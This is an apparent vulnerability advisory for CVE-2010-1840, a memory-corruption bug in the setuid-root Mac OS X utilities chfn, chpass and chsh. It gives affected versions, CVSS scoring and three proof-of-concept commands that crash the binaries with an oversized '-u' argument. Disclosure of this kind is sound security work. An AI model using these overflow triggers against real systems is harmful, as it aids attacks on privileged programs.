Apple Directory Services Memory Corruption
CVE-2010-1840
INTRODUCTION
chfn, chpass and chsh dos not properly parse authname switch ("-u"), which causes the applications to crash when parsing a long string. Those binaries are setuid root by default.
This problem was confirmed in the following versions of Apple binaries and MacOS, other versions may be also affected:
Apple Mac OS X 10.5.8 32bits /usr/bin/chfn, /usr/bin/chpass, /usr/bin/chsh
Apple Mac OS X 10.6.2 64bits /usr/bin/chfn, /usr/bin/chpass, /usr/bin/chsh
CVSS Scoring System
The CVSS score is: 3.3
Base Score: 4.2
Temporal Score: 3.3
We used the following values to calculate the scores:
Base score is: AV:L/AC:L/Au:R/C:C/I:C/A:C
Temporal score is: E:POC/RL:OF/RC:C
TRIGGERING THE PROBLEM
/usr/bin/chfn -u `perl -e 'print "A" x 3000'`
/usr/bin/chsh -u `perl -e 'print "A" x 3000'`
/usr/bin/chpass -u `perl -e 'print "A" x 3000'`